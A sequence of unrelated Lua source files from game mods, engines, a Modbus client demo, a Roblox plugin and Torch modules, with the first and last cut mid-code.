return self.height
end
return base
end,
schema = {
width = { required = true, schemaType = "oneOf", possibilities = {
{ schemaType = "fromList", list = {"fill"} },
{ schemaType = "number" }
}},
height = { required = true, schemaType = "oneOf", possibilities = {
{ schemaType = "fromList", list = {"fill"} },
{ schemaType = "number" }
}},
}
}
end
|
AddCSLuaFile()
wmChat.anonyChat.config = wmChat.anonyChat.config or {}
local CONFIG = wmChat.anonyChat.config
CONFIG.MaxChatLimit = 350
CONFIG.ErrorSound = "ambient/alarms/klaxon1.wav"
CONFIG.NextErrorSound = 1
|
--[[
Very simple demo of using client/master APIs
Karl Palsson, April 2016
--]]
mb = require("libmodbus")
print("using libmodbus runtime version: ", mb.version())
print("using lua-libmodbus compiled against libmodbus: ", mb.VERSION_STRING)
local dev = mb.new_tcp_pi("localhost", 1502)
print(dev:get_byte_timeout())
print(dev:get_response_timeout())
dev:set_debug()
--dev:set_error_recovery(mb.ERROR_RECOVERY_LINK, mb.ERROR_RECOVERY_PROTOCOL)
--dev:set_error_recovery(mb.ERROR_RECOVERY_NONE)
ok, err = dev:connect()
if not ok then error("Couldn't connect: " .. err) end
function lmb_unit_test(dev)
dev:set_slave(17)
local base_address = 0x16b
local regs, err
regs, err = dev:read_registers(base_address, 3)
if not regs then error("read failed: " .. err) end
print("read 3 from 0x16b: ")
for r,v in ipairs(regs) do
print(string.format("register (offset %d) %d: %d (%#x): %#x (%d)",
r, r, r + base_address - 1, r + base_address -1, v, v))
end
print("write single 0x16c -> 0xabcd ", dev:write_register(0x16c, 0xabcd))
regs, err = dev:read_registers(0x16c, 1)
if not regs then error("read1 failed: ", err) end
print("reading back: single 0x16c: ", string.format("%x", regs[1]))
regs, err = dev:read_input_registers(0x108, 1)
if not regs then print("read input regs failed", err) end
print("should be 0xa: ", string.format("%x", regs[1]))
bits, err = dev:read_bits(0x130, 0x25)
if not bits then print("read bits failed", err) end
for r,v in ipairs(bits) do
print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)",
r, r, r + 0x130 - 1, r + 0x130 -1, v, v))
end
bits, err = dev:write_bits(0x130, { 0xffff,0, true,0,false,1,0,99 })
if not bits then print("write bits failed", err) end
bits, err = dev:read_bits(0x130, 8)
print("reading back 8 bits, should be 0xa5")
for r,v in ipairs(bits) do
print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)",
r, r, r + 0x130 - 1, r + 0x130 -1, v, v))
end
err = dev:write_bit(0x131, 1);
if err then print("write bit returned:", err) end
bits, err = dev:read_bits(0x131, 1)
if not bits then print("re-reading bits failed", err) end
print("rereading bits should be 1 now: ", bits[1])
bits, err = dev:read_input_bits(0x1c4, 8)
if not bits then print("read bits failed", err) end
for r,v in ipairs(bits) do
print(string.format("bit (offset %d) %d: %d (%#x): %#x (%d)",
r, r, r + 0x1c4 - 1, r + 0x1c4 -1, v, v))
end
report = dev:report_slave_id()
print("report slaveid: ", report:byte(1), report:byte(2), report:sub(3))
end
function write_test(dev)
-- will autoround 32.98 to 32. no magic support for writing floats yet :|
-- numbers are cast to uint16_t internally.
local res, err = dev:write_registers(0x2000, { 0xabcd, 32.98, 0xfffe, 0xabcd, -1 })
if not res then print(err) end
regs, err = dev:read_registers(base_address, 5)
print("so, no magic casting 16bit tosigned!", regs[5], -1)
print(dev:write_register(0x2006, 2))
end
lmb_unit_test(dev)
|
-----------------------------------
-- Area: Dynamis - Xarcabard
-- Mob: Animated Kunai
-----------------------------------
require("scripts/globals/status");
local ID = require("scripts/zones/Dynamis-Xarcabard/IDs");
-----------------------------------
function onMobEngaged(mob,target)
if (mob:AnimationSub() == 3) then
SetDropRate(109,1579,1000);
else
SetDropRate(109,1579,0);
end
target:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG);
SpawnMob(17330442):updateEnmity(target);
SpawnMob(17330443):updateEnmity(target);
SpawnMob(17330444):updateEnmity(target);
SpawnMob(17330454):updateEnmity(target);
SpawnMob(17330455):updateEnmity(target);
SpawnMob(17330456):updateEnmity(target);
end;
function onMobFight(mob,target)
-- TODO: add battle dialog
end;
function onMobDisengage(mob)
mob:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG+2);
end;
function onMobDeath(mob, player, isKiller)
player:showText(mob,ID.text.ANIMATED_KUNAI_DIALOG+1);
DespawnMob(17330442);
DespawnMob(17330443);
DespawnMob(17330444);
DespawnMob(17330454);
DespawnMob(17330455);
DespawnMob(17330456);
end;
|
--------------------------------
-- @module EaseBounce
-- @extend ActionEase
-- @parent_module cc
---@class cc.EaseBounce:cc.ActionEase
local EaseBounce = {}
cc.EaseBounce = EaseBounce
return nil
|
local PANEL = {}
function PANEL:Init()
self.title = t'ui.currency.title'
end
function PANEL:Paint(w, h)
DisableClipping(true)
draw.RoundedBox(0, -4, -4, w + 8, h + 8, Color(50, 50, 50, 100))
DisableClipping(false)
end
function PANEL:PaintOver(w, h)
if self.title then
local text = t(self.title)
local font = Theme.get_font('main_menu_normal_large')
local text_w, text_h = util.text_size(text, font)
DisableClipping(true)
draw.textured_rect(Theme.get_material('gradient_down'), -4, -text_h - 4, text_w + 8, text_h, Color(50, 50, 50, 100))
draw.SimpleText(text, font, 0, -text_h - 4, color_white:alpha(150))
DisableClipping(false)
end
end
function PANEL:SizeToContents()
self:SetSize(self.max_w + 4, self.max_h + 4)
end
function PANEL:set_currencies(currency_table)
self.currencies = currency_table
end
function PANEL:rebuild()
self.max_w = 0
self.max_h = 0
self:Clear()
for k, v in pairs(Currencies.all()) do
local amount = self.currencies[k] or 0
if !v.hidden or v.hidden and amount > 0 then
local line = vgui.create('DPanel', self)
line:SetPaintBackground(false)
local label = vgui.create('DLabel', line)
label:SetText(t(v.name)..': '..amount..' '..(v.symbol or ''))
label:SetFont(Theme.get_font('main_menu_normal'))
label:SetTextColor(Color('white'))
label:SizeToContents()
label:Dock(FILL)
local button_size = label:GetTall()
local w = label:GetWide()
if amount > 0 then
local give_button = vgui.create('fl_button', line)
give_button:SetSize(button_size, button_size)
give_button:SetDrawBackground(false)
give_button:SetTooltip(t'ui.currency.give.title')
give_button:set_icon('fa-hand-holding-usd')
give_button:set_icon_size(button_size)
give_button:Dock(RIGHT)
give_button.DoClick = function(btn)
Derma_StringRequest(t'ui.currency.give.title', t'ui.currency.give.message', '', function(text)
local value = tonumber(text)
if value and value > 0 then
Cable.send('fl_currency_give', value, k)
else
PLAYER:notify('error.invalid_amount')
end
end)
end
w = w + give_button:GetWide()
local drop_button = vgui.create('fl_button', line)
drop_button:SetSize(button_size, button_size)
drop_button:SetDrawBackground(false)
drop_button:SetTooltip(t'ui.currency.drop.title')
drop_button:set_icon('coins')
drop_button:set_icon_size(button_size)
drop_button:Dock(RIGHT)
drop_button.DoClick = function(btn)
Derma_StringRequest(t'ui.currency.drop.title', t'ui.currency.drop.message', '', function(text)
local value = tonumber(text)
if value and value > 0 then
Cable.send('fl_currency_drop', value, k)
else
PLAYER:notify('error.invalid_amount')
end
end)
end
w = w + drop_button:GetWide()
end
line:SetSize(w, label:GetTall())
line:Dock(TOP)
if line:GetWide() > self.max_w then
self.max_w = line:GetWide()
end
self.max_h = self.max_h + line:GetTall()
end
end
end
vgui.Register('fl_currencies', PANEL, 'fl_base_panel')
|
--
-- Copyright (c) 2018 Milos Tosic. All rights reserved.
-- License: http://www.opensource.org/licenses/BSD-2-Clause
--
-- https://github.com/erincatto/Box2D
local params = { ... }
local BOX2D_ROOT = params[1]
local BOX2D_INCLUDE = {
BOX2D_ROOT .. "include",
BOX2D_ROOT .. "src",
}
local BOX2D_FILES = {
BOX2D_ROOT .. "include/**.h",
BOX2D_ROOT .. "src/**.h",
BOX2D_ROOT .. "src/**.cpp",
BOX2D_ROOT .. "src/**.h"
}
function projectExtraConfig_box2d()
includedirs { BOX2D_INCLUDE }
end
function projectAdd_box2d()
addProject_3rdParty_lib("box2d", BOX2D_FILES)
end
|
function Init()
sprites = {}
sprites.player = LoadTexture("assets/textures/Ship.png")
sprites.triangle = LoadTexture("assets/textures/Triangle.png")
require("src/ExampleScript/player")
require("src/ExampleScript/level")
level:Init()
GameState = {State = -1, Play = 0, MainMenu =1, GameOver = 2}
GameState.State = GameState.MainMenu
SetCameraPosition(player.position.x, player.position.y )
end
function Update(dt)
if GameState.State == GameState.Play then
player:Update(dt)
SetCameraPosition(player.position.x, player.position.y )
level:Update()
end
end
function Draw()
-- DrawQuad(5.0, 5.0, 5,5 , 1,0,0,1)
-- DrawQuad(-5.0, 5.0,10,5 , 0,1,0,1)
-- DrawQuadZ(0.0, 0.0, -0.5, 10, 16 , 0,0,1,1)
level.Draw()
player.Draw()
end
function DrawUI()
if GameState.State == GameState.Play then
context = "Score: " .. math.floor( player:GetScore() )
DrawFont(context, 0.0, 0.0, 120.0)
elseif GameState.State == GameState.MainMenu then
local offset = {x = Width * 0.5 - 400, y = 50}
DrawFont("Click to Play!", offset.x, offset.y, 120.0)
elseif GameState.State == GameState.GameOver then
local offset = {x = Width * 0.5 - 400, y = 50}
DrawFont("Click to Play!", offset.x, offset.y, 120.0)
offset.x = offset.x + 200.0
offset.y = offset.y + 100.0
DrawFont(context, offset.x, offset.y, 48.0)
end
end
function OnMouseButtonPressed()
if GameState.State == GameState.GameOver then
player:Reset()
end
GameState.State = GameState.Play
end
|
local Button = require "ruu.widgets.Button"
local Slider = Button:extend()
Slider.nudgeDist = 5
-- Hack to try to get global rotation, check two parents up.
local function getScreenRotation(node)
local p1, p2
local rotZ = gui.get_rotation(node).z -- gui.get_rotation returns a vector3 of euler angles.
p1 = gui.get_parent(node)
if p1 then
p2 = gui.get_parent(p1)
rotZ = rotZ + gui.get_rotation(p1).z
end
if p2 then
rotZ = rotZ + gui.get_rotation(p2).z
end
return math.rad(rotZ)
end
local function toLocal(node, dx, dy)
local screenRot = getScreenRotation(node)
local screenRotQ = vmath.quat_rotation_z(-screenRot)
local delta = vmath.rotate(screenRotQ, vmath.vector3(dx, dy, 0))
return delta.x, delta.y
end
function Slider.set(self, ruu, owner, nodeName, releaseFn, fraction, length, wgtTheme)
self.fraction = fraction or 0
self.length = length or 100
self.xPos = 0
Slider.super.set(self, ruu, owner, nodeName, releaseFn, wgtTheme)
self.barNode = gui.get_node(nodeName .. "/bar")
self:updatePos(self, nil, nil) -- To update slider pos based on current fraction.
end
function Slider.onDrag(self, dragFn)
self.dragFn = dragFn
return self -- Allow chaining.
end
function Slider.updatePos(self, dx, dy, isLocal)
local startPoint = -self.length/2 -- Assumes that the handle at x=0 is centered on the bar.
local endPoint = self.length/2
local pos = gui.get_position(self.node)
if dx and dy then
if not isLocal then -- Convert dx and dy to local deltas relative to the bar, so dx is always along the bar.
dx, dy = toLocal(self.barNode, dx, dy)
end
-- Clamp to start and end points.
pos.x = math.max(startPoint, math.min(endPoint, pos.x + dx))
else -- .updatePos called with no dx or dy - Set pos based on current fraction.
pos.x = startPoint + self.length * self.fraction
end
self.xPos = pos.x
gui.set_position(self.node, pos)
end
function Slider.drag(self, dx, dy, dragType, isLocal)
if dragType then return end -- Only respond to the default drag type.
self:updatePos(dx, dy, isLocal)
self.fraction = self.xPos / self.length + 0.5
if self.dragFn then
if self.releaseArgs then
self.dragFn(self.owner, self, unpack(self.releaseArgs))
else
self.dragFn(self.owner, self)
end
end
self.wgtTheme.drag(self, dx, dy)
end
local dirs = { up = {0, 1}, down = {0, -1}, left = {-1, 0}, right = {1, 0} }
local COS_45 = math.cos(math.rad(45))
function Slider.getFocusNeighbor(self, dir)
local dirVec = dirs[dir]
if dirVec then
local dx, dy = dirVec[1], dirVec[2]
dx, dy = toLocal(self.barNode, dx, dy)
if math.abs(dx) > COS_45 then -- Input direction is roughly aligned with slider rotation.
self:drag(dx * self.nudgeDist, 0, nil, true)
return 1 -- Consume input.
else
return self.neighbor[dir]
end
else
return self.neighbor[dir]
end
end
return Slider
|
local Scene = require("lib.scene")
local Player = require("../player")
local Bar = require("lib.ui.bar")
local U = require("lib.utils")
local bat = require("../bat")
local apple = require("../apple1")
local apple1 = require("../apple")
local Thorn = require("../thorn")
local health = require("../global")
local Vector2 = require("lib.vector2")
local Anim = require("lib.animations")
local Sprite = require("lib.sprite")
local button = require("Advice.buttons")
local button_J = require("Advice.button_jump")
local button_R = require("Advice.button_run")
local button_E = require("Advice.button_eat")
local mess = require("Advice.message")
require("lib.camera")
local Map_test
local T = Scene:derive("level_1")
local s_pos
level_1_c = false
function T:new(scene_mngr)
camera:setBounds(0,0,1920*4,540)
self.super.new(self,scene_mngr)
--Add Sonder
self.p = Player()
self.em:add(self.p)
--Add Enemies
self.b = bat() --create bat
self.b.spr.pos.y = 450
self.b.spr.pos.x = 2880
self.b.distance_init = 2880
self.b.distance = 2880+960
self.em:add(self.b) --add bat to scene
--
self.t = Thorn()
self.t.spr.pos.x = 1500
self.em:add(self.t)
--
self.a1 = apple1()
self.a1.spr.pos.x = 1350
self.em:add(self.a1)
self.a = apple()
self.a.spr.pos.x = 550
self.em:add(self.a)
self.a3 = apple()
self.a3.spr.pos.x = 2650
self.em:add(self.a3)
--Add health bar
self.bar = Bar("health",125,35,200, 20, "20%")
self.em:add(self.bar)
self.bar_changed = function(bar, value)
self:on_bar_changed(bar, value) end
self.bar.percentage = 20
self.bar:set(self.bar.percentage)
--Add background
-- Map_test = love.graphics.newImage("Map/fondo2.png")
self.bar_run = Bar("run",500,35,250, 20,"")
self.em:add(self.bar_run)
self.bar_changed_ = function(bar_run, value)
self:on_bar_changed(bar_run, value) end
self.bar_run.percentage = 100
self.bar_run:set(self.bar_run.percentage)
self.bar_run.pos.y = 65
self.bar_run.fill_color = U.color(0.6,0.8,1,1)
Map_test = love.graphics.newImage("Map/fondo2.png")
Sonder = love.graphics.newImage("Map/sonder1.png")
alimentos = love.graphics.newImage("Advice/alimentos.png")
energia = love.graphics.newImage("Advice/energia.png")
murcielagos = love.graphics.newImage("Advice/murcielagos.png")
adelante = love.graphics.newImage("Advice/adelante.png")
snd1 = love.audio.newSource("Sound/Forest_Ambience.mp3","stream")
snd_forest = love.audio.newSource("Sound/Forest_Ambience.mp3","stream")
bar_2 = love.graphics.newImage("Advice/bar.png")
snd1:setLooping(true)
snd_forest:setLooping(true)
end
--Keep this
local entered = false
function T:enter()
T.super.enter(self)
_G.events:hook("onBarChanged", self.bar_changed)
end
function T:exit()
T.super.exit(self)
_G.events:unhook("onBarChanged", self.bar_changed)
end
function T:on_bar_changed(bar,value)
bar.text = tostring(value .. "%")
if value < 20 then
bar.fill_color = U.color(1,0,0,1)
elseif value > 19 and value < 50 then
bar.fill_color = U.color(1,1,0,1)
elseif value > 49 then
bar.fill_color = U.color(0,1,0,1)
end
end
--Update
function T:update(dt)
love.audio.setVolume(0.8)
if pause == false then
--keep this
self.super.update(self,dt)
--health bar & Sonder icon
love.audio.play(snd1)
love.audio.play(snd_forest)
love.audio.stop(go_snd)
camera:setPosition( self.p.fox_sprite.pos.x - (love.graphics.getWidth()/3.5), self.p.fox_sprite.pos.y - (love.graphics.getHeight()))
self.bar.pos.x = 180 + camera.x
self.bar_run.pos.x = 205 + camera.x
s_pos = 5 + camera.x
--Run Bar
if self.p.fox_sprite.current_anim == "run" or self.p.fox_sprite.current_anim == "jump" then
if self.p.fox_sprite.current_anim == "jump" and love.keyboard.isDown("z") then
self.bar_run:set(self.bar_run.percentage - 0.7)
else
self.bar_run:set(self.bar_run.percentage - 0.3)
end
if self.bar_run.percentage <= 20 then
self.p.enable = false
self.bar_run.fill_color = U.color(1,0,0,1)
else
self.p.enable = true
self.bar_run.fill_color = U.color(0.6,0.8,1,1)
end
else
self.bar_run:set(self.bar_run.percentage + 0.8)
end
if(self.bar_run.percentage == 100) then
self.bar_run.fill_color = U.color(0.6,0.8,1,1)
end
self.bar_run.text= ""
--
--
local r1 = self.p.fox_sprite:rect_(0,0,-60,-10)
--
local eat
if ( self.p.fox_sprite.flip.x == 1) then
eat = self.p.fox_sprite:rect_(55,0,-110,-10)
elseif self.p.fox_sprite.flip.x == -1 then
eat = self.p.fox_sprite:rect_(-55,0,-110,-10)
end
local r2 = self.b.spr:rect()
if U.AABBColl(r1, r2) then
--self.p.fox_sprite.tintColor = U.color(1,0,0,1)
local md = r2:minowski_diff(r1)
local sep = md:closest_point_on_bounds(Vector2())
--tell the player on which side it has a collision
self.p:collided(md:collides_top(sep), md:collides_bottom(sep), md:collides_left(sep), md:collides_right(sep))
self.p.fox_sprite.pos.x = self.p.fox_sprite.pos.x + sep.x
self.p.fox_sprite.pos.y = self.p.fox_sprite.pos.y + sep.y
self.bar:set(self.bar.percentage - 1)
end
--
if U.AABBColl(r1,self.t.spr:rect()) then
self.bar:set(self.bar.percentage - 1)
self.t.spr:animation("on_idle")
end
--
if self.p.fox_sprite.current_anim == "bite" then
if self.a.remove == nil and self.a and U.AABBColl(eat, self.a.spr:rect() ) then
self.bar:set(self.bar.percentage + 10)
self.a.remove = true
end
if self.a1.remove == nil and self.a1 and U.AABBColl(eat, self.a1.spr:rect() ) then
self.bar:set(self.bar.percentage - 15)
self.a1.remove = true
end
if self.a3.remove == nil and self.a3 and U.AABBColl(eat, self.a3.spr:rect() ) then
self.bar:set(self.bar.percentage + 10)
self.a3.remove = true
end
end
if (self.bar.percentage <= 0) then
if(n_d >= 4 and n_d <9) then
self.bar:set(30)
self.bar.text = "30%"
elseif (n_d >= 9) then
self.bar:set(50)
self.bar.text = "50%"
else
self.bar:set(20)
self.bar.text = "20%"
end
if self.a.remove ~= nil then
self.em:add(self.a)
self.a.remove = nil
end
if self.a1.remove ~= nil then
self.em:add(self.a1)
self.a1.remove = nil
end
if self.a3.remove ~= nil then
self.em:add(self.a3)
self.a3.remove = nil
end
self.p.fox_sprite.pos.x = 80
self.p.fox_sprite.pos.y = 450
love.audio.stop(snd1)
game_over = true
end
if (self.p.fox_sprite.pos.x >= (960*4)) then
health.val(self.bar.percentage)
self.bar:set(20)
self.bar.text = "20%"
self.p.fox_sprite.pos.x = 80
self.p.fox_sprite.pos.y = 450
if self.a.remove ~= nil then
self.em:add(self.a)
self.a.remove = nil
end
if self.a1.remove ~= nil then
self.em:add(self.a1)
self.a1.remove = nil
end
if self.a3.remove ~= nil then
self.em:add(self.a3)
self.a3.remove = nil
end
love.audio.stop(snd1)
level_1_c = true
end
butt:update(dt)
butt_R:update(dt)
butt_E:update(dt)
butt_J:update(dt)
end
if pause == true then
love.audio.pause(snd1)
end
end
local s1 = true
butt = button()
butt_J = button_J()
butt_R = button_R()
butt_E = button_E()
msg = mess()
function T:draw()
camera:set()
love.graphics.draw(Map_test,0,0)
love.graphics.draw(Map_test,960,0)
love.graphics.draw(Map_test,1920,0)
love.graphics.draw(Map_test,2880,0)
if self.p.fox_sprite.pos.x >= 0 and self.p.fox_sprite.pos.x <= 650 and s1 == true then
butt:draw()
end
if self.p.fox_sprite.pos.x >= 500 and self.p.fox_sprite.pos.x <=1000 then
butt_E:draw()
love.graphics.draw(alimentos,700,150)
end
if self.p.fox_sprite.pos.x >= 900 and self.p.fox_sprite.pos.x <=1500 then
butt_J:draw()
end
if self.p.fox_sprite.pos.x >= 1200 and self.p.fox_sprite.pos.x <=1800 then
msg:draw()
end
if self.p.fox_sprite.pos.x >= 1500 and self.p.fox_sprite.pos.x <=2500 then
love.graphics.draw(energia,1700,150)
butt_R:draw()
end
if self.p.fox_sprite.pos.x >= 2600 and self.p.fox_sprite.pos.x <=3200 then
love.graphics.draw(murcielagos,2700,150)
end
if self.p.fox_sprite.pos.x >= 3200 then
love.graphics.draw(adelante,3400,150)
end
self.super.draw(self)
love.graphics.draw(Sonder,s_pos+6,24)
love.graphics.draw(bar_2,s_pos-10,12)
-- local r = self.p.fox_sprite:rect_(55,0,-110,-10)
-- love.graphics.rectangle("line",r.x,r.y,r.w,r.h)
camera:unset()
end
return T
|
local zawszetrue = true
Citizen.CreateThread(function()
while zawszetrue do
Citizen.Wait(0)
local ped = GetPlayerPed(-1)
GetPlayerWantedLevel(ped)
end
end)
-- discord.gg/exus
-- script created by nisu#0007
|
--[[
# Author : Qwreey / qwreey75@gmail.com / github:qwreey75
# Create Time : 2021-05-11 18:57:26
# Modified by : Qwreey
# Modified time : 2021-06-05 01:20:25
# Description : |
Time format = yyy-mm-dd hh:mm:ss
Time zone = GMT+9
모듈 데이터를 github 로 부터 가져옵니다, http 오류를 직접 처리합니다
]]
---@diagnostic disable:undefined-global
local HTTP = game:GetService("HttpService");
local Selection = game:GetService("Selection");
-- 이거 테스팅 한번 돌려봐야됨
return function (UIHolder,url)
local MaterialUI = require(script.Parent.Parent.libs.MaterialUI);
local AdvancedTween = require(script.Parent.Parent.libs.AdvancedTween);
local new = MaterialUI.Create;
-- 이미 HTTP 서비스가 켜져 있다면 리턴
local pass,data;
local function newTry()
pass,data = pcall(
HTTP.GetAsync,
HTTP, -- self 값을 추가해줌
url
);
end
newTry();
if pass then
return data;
end
-- 리포트를 위해서 아웃풋 보여주기를 만든다
local function report()
local new = new("Frame",{
Name = "HaveErrorHTTPMain";
BackgroundColor3 = MaterialUI:GetColor("Background");
BorderSizePixel = 0;
Position = UDim2.new(1, 20, 0, 0);
Size = UDim2.new(1, 0, 1, 0);
ZIndex = 8100;
ClipsDescendants = true;
NotTagging = true;
},{
topbar = new("Frame",{
BackgroundColor3 = MaterialUI:GetColor("TopBar");
BorderSizePixel = 0;
Size = UDim2.new(1, 0, 0, 46);
ZIndex = 8109;
NotTagging = true;
},{
Shadow = new("Shadow",{
NotTagging = true;
});
title = new("TextLabel",{
BackgroundTransparency = 1;
Position = UDim2.new(0, 42, 0, 0);
Size = UDim2.new(1, 0, 1, 0);
ZIndex = 8109;
Font = Enum.Font.SourceSans;
Text = "오류 신고하기";
TextColor3 = MaterialUI:GetColor("TextColor");
TextSize = 18;
TextXAlignment = Enum.TextXAlignment.Left;
NotTagging = true;
});
icon = new("ImageLabel",{
ImageColor3 = MaterialUI:GetColor("TextColor");
AnchorPoint = Vector2.new(0, 0.5);
BackgroundTransparency = 1;
Position = UDim2.new(0, 8, 0.5, 0);
Size = UDim2.new(0, 28, 0, 28);
ZIndex = 8109;
Image = "http://www.roblox.com/asset/?id=6031071057";
NotTagging = true;
});
});
output = new("TextBox",{
NotTagging = true;
BackgroundTransparency = 1;
Position = UDim2.new(0, 0, 0, 46);
Size = UDim2.new(1, 0, 1, -46);
ZIndex = 8101;
ClearTextOnFocus = false;
Font = Enum.Font.Code;
Text = (
"아래의 오류를 복사해서 관리자 이메일로 제보하거나\n" ..
"깃허브를 통해서 이 오류를 제보해주세요\n" ..
"(또는 카페를 통해서 제보해주세요)\n\n" ..
"깃허브 링크 : https://github.com/nofairTCM/InstallerPlugin/issues/new\n\n" ..
"=============== 오류 시작 ===============\n\n" ..
"error : \n" .. (data or "")
);
TextColor3 = MaterialUI:GetColor("TextColor");
TextEditable = false;
TextSize = 14;
TextXAlignment = Enum.TextXAlignment.Left;
TextYAlignment = Enum.TextYAlignment.Top;
},{
padding = new("UIPadding",{
PaddingLeft = UDim.new(0, 4);
PaddingTop = UDim.new(0, 4);
NotTagging = true;
});
});
});
AdvancedTween:RunTween(new,{
Time = 0.62;
Easing = AdvancedTween.EasingFunctions.Exp2;
Direction = AdvancedTween.EasingDirection.Out;
},{
Position = UDim2.new(0,0,0,0);
});
return new;
end
-- 경고창을 띄운다
local store = {};
new("Frame",{
Name = "CheckHTTPMain";
BackgroundColor3 = Color3.fromRGB(65, 65, 65);
BorderSizePixel = 0;
Size = UDim2.new(1, 0, 1, 0);
ZIndex = 8000;
WhenCreated = function (this)
store.this = this;
end;
},{
new("ImageLabel",{
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
BackgroundTransparency = 1;
Position = UDim2.new(0.5, 0, 0.5, 40);
Size = UDim2.new(0, 200, 0, 49);
ZIndex = 8002;
Image = "http://www.roblox.com/asset/?id=6789811908";
},{
new("UICorner",{
});
new("ImageLabel",{
Name = "Shadow";
AnchorPoint = Vector2.new(0.5, 0);
BackgroundTransparency = 1;
BorderSizePixel = 0;
Position = UDim2.new(0.5, 0, 0, -3);
Size = UDim2.new(1, 12, 1, 8);
ZIndex = 8001;
Image = "rbxassetid://1316045217";
ImageColor3 = Color3.fromRGB(0, 0, 0);
ImageTransparency = 0.80000001192093;
});
new("TextLabel",{
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
BackgroundTransparency = 1;
Position = UDim2.new(0, 40, 0, 0);
Size = UDim2.new(1, 0, 1, 0);
ZIndex = 8002;
Font = Enum.Font.Code;
Text = "raw.githubusercontent.com";
TextColor3 = Color3.fromRGB(255, 255, 255);
TextSize = 12;
TextXAlignment = Enum.TextXAlignment.Left;
});
});
new("TextLabel",{
Name = "info";
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
BackgroundTransparency = 1;
Position = UDim2.new(0.5, 0, 0.5, -50);
Size = UDim2.new(1, -40, 0, 118);
ZIndex = 8001;
Font = Enum.Font.Gotham;
Text = (
"플러그인 관리 (Plugin Management) =>\n" ..
"nofairTCM-Installer =>\n" ..
"HTTP 요청 (Requests) / raw.githubusercontent.com 이 체크되어 있는지 확인해 주세요\n"
);
TextColor3 = Color3.fromRGB(255, 255, 255);
TextSize = 16;
TextWrapped = true;
});
new("TextLabel",{
Name = "footer";
AnchorPoint = Vector2.new(0.5, 1);
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
BackgroundTransparency = 1;
Position = UDim2.new(0.5, 0, 1, -8);
Size = UDim2.new(1, -6, 0, 50);
ZIndex = 8001;
Font = Enum.Font.Gotham;
Text = "이 플러그인은 모듈 상태 확인을 위해 HTTP 서비스를 사용합니다";
TextColor3 = Color3.fromRGB(255, 255, 255);
TextSize = 14;
TextWrapped = true;
TextYAlignment = Enum.TextYAlignment.Bottom;
});
new("TextButton",{
Name = "error";
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(255, 255, 255);
BackgroundTransparency = 1;
Position = UDim2.new(0.5, 0, 0.5, 80);
Size = UDim2.new(0, 100, 0, 20);
ZIndex = 8001;
Font = Enum.Font.Gotham;
Text = "이미 켜져 있나요?";
TextColor3 = Color3.fromRGB(0, 166, 255);
TextSize = 16;
MouseButton1Click = function ()
-- 다른 창 하나 더 드로잉
local new = report();
new.Parent = store.this;
end;
});
});
store.this.Parent = UIHolder;
while true do
-- 바뀔 때 까지 기다림
wait(2);
-- 창이 떠있어야 리트레이 하도록 만듬
if not UIHolder.Enabled then
UIHolder:GetPropertyChangedSignal("Enabled"):Wait();
end
-- 다시 시도
newTry();
if pass then
store.this:Destroy();
return data;
end
end
end;
|
-------------------------------------------------------------
-- Various utilities for visualization through the web server
-------------------------------------------------------------
local visualizer = {}
require 'torch'
disp = nil
print(opt)
if opt.display_id > 0 then -- [hack]: assume that opt already existed
disp = require 'display'
end
util = require 'util/util'
require 'image'
-- function visualizer
function visualizer.disp_image(img_data, win_size, display_id, title)
images = util.deprocess_batch(util.scaleBatch(img_data:float(),win_size,win_size))
disp.image(images, {win=display_id, title=title})
end
function visualizer.save_results(img_data, output_path)
local tensortype = torch.getdefaulttensortype()
torch.setdefaulttensortype('torch.FloatTensor')
local image_out = nil
local win_size = opt.display_winsize
images = torch.squeeze(util.deprocess_batch(util.scaleBatch(img_data:float(), win_size, win_size)))
if images:dim() == 3 then
image_out = images
else
for i = 1,images:size(1) do
img = images[i]
if image_out == nil then
image_out = img
else
image_out = torch.cat(image_out, img)
end
end
end
image.save(output_path, image_out)
torch.setdefaulttensortype(tensortype)
end
function visualizer.save_images(imgs, save_dir, impaths, s1, s2)
local tensortype = torch.getdefaulttensortype()
torch.setdefaulttensortype('torch.FloatTensor')
batchSize = imgs:size(1)
imgs_f = util.deprocess_batch(imgs):float()
paths.mkdir(save_dir)
for i = 1, batchSize do -- imgs_f[i]:size(2), imgs_f[i]:size(3)/opt.aspect_ratio
if s1 ~= nil and s2 ~= nil then
im_s = image.scale(imgs_f[i], s1, s2):float()
else
im_s = imgs_f[i]:float()
end
img_to_save = torch.FloatTensor(im_s:size()):copy(im_s)
image.save(paths.concat(save_dir, impaths[i]), img_to_save)
end
torch.setdefaulttensortype(tensortype)
end
return visualizer
|
object_static_halloween_item_sitholantern2 = object_static_halloween_shared_item_sitholantern2:new {
}
ObjectTemplates:addTemplate(object_static_halloween_item_sitholantern2, "object/static/halloween/item_sitholantern2.iff")
|
-- Copyright 2004-present Facebook. All Rights Reserved.
require 'cutorch'
require 'nn'
local TemporalKMaxPooling, parent =
torch.class('nn.TemporalKMaxPooling', 'nn.Module')
function TemporalKMaxPooling:__init(k, k_dynamic)
parent.__init(self)
self.k = k
self.k_dynamic = k_dynamic or -1
self.output = torch.CudaTensor()
self.gradInput = torch.CudaTensor()
self.indices = torch.CudaTensor()
end
function TemporalKMaxPooling:updateOutput(input)
input = input:contiguous()
input.nn.TemporalKMaxPooling_updateOutput(self, input)
return self.output
end
function TemporalKMaxPooling:updateGradInput(input, gradOutput)
input = input:contiguous()
gradOutput = gradOutput:contiguous()
input.nn.TemporalKMaxPooling_updateGradInput(self, input, gradOutput)
return self.gradInput
end
|
local M = {}
-- constants
M.YSDK_INIT_ID = 0
M.YACONTEXT_INIT_ID = 1
-- private
local cb_id_counter = 2
local function next_cb_id()
local id = cb_id_counter
cb_id_counter = (cb_id_counter + 1) % 2147483647
if cb_id_counter == 0 or cb_id_counter == 1 then
cb_id_counter = cb_id_counter + 1
end
return id
end
function M.wrap_for_callbacks(callbacks)
local cb_id = next_cb_id()
local listener
listener = function(self, _cb_id, message_id, message)
-- print("*** _CB_ID", _cb_id, " = CB_ID", cb_id, "MESSAGE_ID", message_id, "MESSAGE", message)
if message_id == "close" then
